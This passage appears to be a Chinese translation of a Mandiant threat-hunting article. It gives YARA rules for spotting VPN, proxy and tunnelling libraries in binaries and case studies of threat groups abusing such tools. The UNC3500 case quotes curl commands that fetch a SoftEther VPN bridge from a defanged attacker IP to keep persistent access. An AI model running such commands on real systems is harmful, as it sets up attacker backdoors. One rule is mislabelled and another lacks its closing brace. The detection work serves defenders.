$pdb = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,500}(vpn|proxy)[\x00-\xFF]{0,500}\.pdb\x00/ ascii nocase wide
condition:
filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pdb
}
搜索第三方库
虽然有些产品比其他更受欢迎,但是VPN软件公司和产品可谓数不胜数。因此,基于特定品牌的检测技术不适合进行广泛的检测。所以,针对这些软件大规模使用的流行第三方库的检测,能够带来更广泛和更具包容性的检测范围。这些第三方隧道库包括gotunnelme、golocaltunnel、localtunnel.net和zdtun。
GoTunnelMe库
rule M_Hunting_AscensionEngine_gotunnelme_1
{
meta:
author = "Mandiant"
description = "Rule looks for binaries that use gotunnelme."
md5 = "35fcc4b19946d1bc9c21add1f42d2b63"
strings:
$anchor = "gotunnelme" ascii nocase wide
$func1 = "NewTunnelConn" ascii nocase wide
$func2 = "Tunnel" ascii nocase wide
$func3 = "StopTunnel" ascii nocase wide
$func4 = "ConnectRemote" ascii nocase wide
$func5 = "NewTunnel" ascii nocase wide
$func6 = "GetUrl" ascii nocase wide
condition:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $anchor and (1 of ($func*))
}
GoLocalTunnel库
rule M_Hunting_AscensionEngine_golocaltunnel_1
{
meta:
author = "Mandiant"
description = "Rule looks for binaries that use golocaltunnel."
md5 = "35fcc4b19946d1bc9c21add1f42d2b63"
strings:
$anchor1 = "localtunnel.go" ascii nocase wide
$func1 = "readAtmost" ascii nocase wide
$func2 = "Network" ascii nocase wide
$func3 = "WaitFor" ascii nocase wide
$func4 = "Accept" ascii nocase wide
$func5 = "Addr" ascii nocase wide
$func6 = "URL" ascii nocase wide
$func7 = "ReachedEOF" ascii nocase wide
$func8 = "setDefaults" ascii nocase wide
condition:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $anchor1 and (3 of ($func*))
}
LocalTunnelNet库
rule M_Hunting_AscensionEngine_localtunnelnet_1
{
meta:
author = "Mandiant"
description = "Rule looks for binaries that use localtunnel.net."
md5 = "35fcc4b19946d1bc9c21add1f42d2b63"
strings:
$s1 = "Localtunnel" ascii nocase wide
$s2 = "LocaltunnelClient" ascii nocase wide
$s3 = "ProxiedSslTunnelOptions" ascii nocase wide
$s4 = "ProxiedSslTunnelConnection" ascii nocase wide
condition:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and all of them
}
ZDTun库
rule M_Hunting_AscensionEngine_zdtun_1
{
meta:
author = "Mandiant"
description = "Rule looks for binaries that use zdtun."
md5 = "f224e0c1ad6d27c76b1f87fdb8ada639"
strings:
$anchor = "zdtun" ascii nocase wide
$s1 = "zdtun_conn_close" ascii nocase wide
$s2 = "zdtun_conn_dnat" ascii nocase wide
$s3 = "zdtun_conn_proxy" ascii nocase wide
$s4 = "zdtun_conn_set_userdata" ascii nocase wide
$s5 = "zdtun_fds" ascii nocase wide
$s6 = "zdtun_finalize" ascii nocase wide
$s7 = "zdtun_get_stats" ascii nocase wide
$s8 = "zdtun_make_iphdr" ascii nocase wide
$s9 = "zdtun_purge_expired" ascii nocase wide
$s10 = "zdtun_set_dnat_info" ascii nocase wide
$s11 = "zdtun_set_mtu" ascii nocase wide
$s12 = "zdtun_set_socks5_proxy" ascii nocase wide
$s13 = "zdtun_conn_get_userdata" ascii nocase wide
$s14 = "zdtun_userdata" ascii nocase wide
$s15 = "zdtun_init" ascii nocase wide
condition:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $anchor and (5 of ($s*))
}
Github上常见的代理、隧道或VPN库
rule M_Hunting_AscensionEngine_GithubVPNProxy_1
{
meta:
author = "Mandiant"
description = "Rule looks for binaries that include vpn/proxy/tunnel github links"
strings:
$r1 = /github.com\/[^\/]+\/[^\/]*(vpn|VPN|proxy|Proxy|tunnel|Tunnel)[^\/]*\//
$vpn = "vpn" nocase fullword
$proxy = "proxy" nocase fullword
$tunnel = "tunnel" nocase fullword
condition:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $r1 and ($vpn or $proxy or $tunnel)
}
二进制文件中的导出函数
根据Microsoft文档,DLL文件包含一个导出表。导出表中存放有DLL库导出到其他可执行文件的所有函数的名称。这些函数是DLL的入口点;其他可执行文件只能访问导出表中的函数。
文件中的这些导出函数相关的字符串可能有助于识别代码的真实意图,尤其是当它与独特的导出函数和使用它们的目标有关时。此外,还有其他独特的可移植可执行文件详细信息,也可用于深入了解可能的意图,包括资源名称和域的存在与否。
VPN相关的DLL导出函数
import "pe"
rule M_Hunting_Win_ExportEngine_vpn_dll_1
{
meta:
author = "Mandiant"
description = "Looks for an export dll containing the string vpn"
reference = "https://twitter.com/stvemillertime/status/1241027937970814976?s=20&t=t2Esf89F6T8LuiBsT8RV-g"
md5 = "61d59eb2799b1a77eedf34b145cf23e1"
strings:
$pcre = /[\x00-\x7F]{0,100}(vpn|VPN)[\x00-\x7F]{0,100}\.(dat|dll|sys|exe)\x00/
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))
}
与代理相关的DLL导出函数
import "pe"
rule M_Hunting_Win_ExportEngine_vpn_dll_1
{
meta:
author = "Mandiant"
description = "Looks for an export dll containing the string vpn"
reference = "https://twitter.com/stvemillertime/status/1241027937970814976?s=20&t=t2Esf89F6T8LuiBsT8RV-g"
md5 = "61d59eb2799b1a77eedf34b145cf23e1"
strings:
$pcre = /[\x00-\x7F]{0,100}(proxy|Proxy|PROXY)[\x00-\x7F]{0,100}\.(dat|dll|sys|exe)\x00/
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))
}
与VPN或代理相关的PE资源名称
import "pe"
rule M_Hunting_Win_VPNEngine_ResourceInPE_1
{
meta:
author = "Mandiant"
description = "This signature is looking for VPN or Proxy subresources."
md5 = "2ce7a0ffa14134167945e8df84755f1c"
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and for any i in (0.. pe.number_of_resources - 1): ( pe.resources[i].name_string == "V\x00P\x00N\x00" or pe.resources[i].name_string == "P\x00R\x00O\x00X\x00Y\x00" or pe.resources[i].name_string == "VPN" or pe.resources[i].name_string == "PROXY")
案例研究
作为分析人员、研究人员、工程师等,他们的时间是非常宝贵的。实际上,时间是任何人拥有的最大资源之一。所以,下面这个问题是很重要的:为什么要在乎它?好吧,以下几节将重点介绍滥用攻击者是如何利用本文中讨论的各种技术和技巧的。
UNC3500
研究人员怀疑UNC3500组织曾经利用CVE-2021-44228漏洞定向攻击教育和电信部门。该组织通过创建一个VPN和HTTPS服务器来实现持久性,该服务器可以在初次得手后充当后门。
在某次的UNC3500入侵活动中,他们在进行侦察并完成初步行动后,就开始通过以下命令下载上述VPN软件和HTTPS服务器:
curl hxxp://35.189.145[.]119/hamcore.se2 > /mi/pki/mics/log/hamcore.se2
(MD5: 9fb1191ba0064d317a883677ce568023)
curl hxxp://35.189.145[.]119/https > /mi/pki/mics/log/https
(MD5: 00352d167c44272dba415c36867a8125)
curl hxxp://35.189.145[.]119/vpn_bridge.config > /mi/pki/mics/log/vpn_bridge.config
(MD5: ce5d96252315e2c9d5fd9aeb98ae28ae)
其中,文件https和hamcore.se2是SoftEther的VPN服务器网桥PacketiX的组件。而PacketiX VPN网桥则会在本地系统上的物理网络适配器和远程SoftEther VPN服务器之间创建第2层连接,因此,它需要一个附带的库文件hamcore.se2和一个配置文件vpn_bridge.config。通过部署该程序包,UNC3500就能在受攻击的服务器上实现持久性。
APT40
APT40主要针对海运业进行入侵活动,并与至少可追溯到2013年的攻击活动有关。2021年4月,APT40的4名成员被美国司法部起诉。他们锁定的目标是有利于研发计划的敏感数据,并为支持这些入侵活动的决策者提供信息,以进一步锁定相关组织。
研究人员发现,APT40使用的攻击方法包括通过VPN进行数据渗漏。此外,APT40还被发现使用了ProtonVPN和ExpressVPN.
UNC2465
在一次供应链入侵活动中,UNC2465使用的基于.NET的轻量级后门SMOKEDHAM使用PowerShell连接到第三方文件共享站点,以下载一个重命名为conhost.exe的Ngrok实用程序。并使用脚本执行Ngrok,对应的配置文件名为Ngrok.yml。Ngrok是一个可公开获得的实用程序,它可以通过安全隧道将NAT和防火墙后面的本地服务器暴露到公共互联网。
UNC2465是一个网络犯罪集团,以前曾部署过DARKSIDE勒索软件,并被怀疑至少自2020年3月以来一直处于活跃状态。UNC2465入侵活动的特点是,他们会持续使用类似的战术、技术和程序(TTP),在受害者环境中分发公开可用的基于PowerShell的SMOKEDHAM后门。UNC2465使用DARKSIDE勒索软件,以及通过TOR泄露网站进行勒索的混合方法进行勒索。DARKSIDE最初通过在DARKSIDE博客上发布少量数据来羞辱受害者,如果客户不付钱,就会持续几天发布大量数据。这个组织很可能是一个附属机构,并且只是整个DARKSIDE生态系统中的一个小部分。UNC2465经常利用的手段包括网络钓鱼、Web攻击以及通过合法软件安装程序植入特洛伊木马的供应链攻击。UNC2465的入侵活动在DARKSIDE RaaS被整体关闭后仍在继续。
地下论坛
一个名为“idk”的英语入侵者曾经扬言,他可以访问美国的保险和保健公司,其中列出的访问方法包括 "安装OpenVPN "和 "来自OpenVPN的凭证"。
利用VPN掩盖源IP地址
在与受害环境进行远程交互的过程中,UNC3661组织曾经使用NordVPN来隐藏原始IP地址。
据传,针对乌克兰的一系列网络攻击活动(与APT28关联,可信度适中)中,攻击者使用了ExpressVPN IP地址来登录web shell。
流行度
有人曾经说过:“流行度是分析师最关心的东西”。那么,让我们来谈谈流行度吧!利用本文中重点介绍的针对托管Mandiant数据的各种检测和方法,对不同的攻击组织和恶意软件家族建立了40多个连接。
小结
VPN软件、代理服务和本地主机隧道的使用为对手提供了合法的身份、通过加密绕过检测以及潜在的点对点访问。这些特性正是攻击者梦寐以求的东西,并使检测、遏制和消除这些恶意攻击变得更加困难。
然而,在这篇文章中,VPN软件、代理服务和本地主机隧道被看作搜索方向。虽然这些搜索方向确实包括供应商和服务的具体项目(SoftEther、Ngrok、WireGuard、OpenVPN、Hide.Me等),但也关注整体性和传统技术相关的方向(命名惯例、第三方库、PE工件等)。
这些方向将扩大防御者对这些软件和服务套件的搜索和检测范围,并降低蓝队的负担。
阅读快乐!
鸣谢
感谢所有为分析和审查做出贡献的人。同时,特别感谢Matthew Dunwoody和Evan Reese。
原文地址:https://www.mandiant.com/resources/burrowing-your-way-into-vpns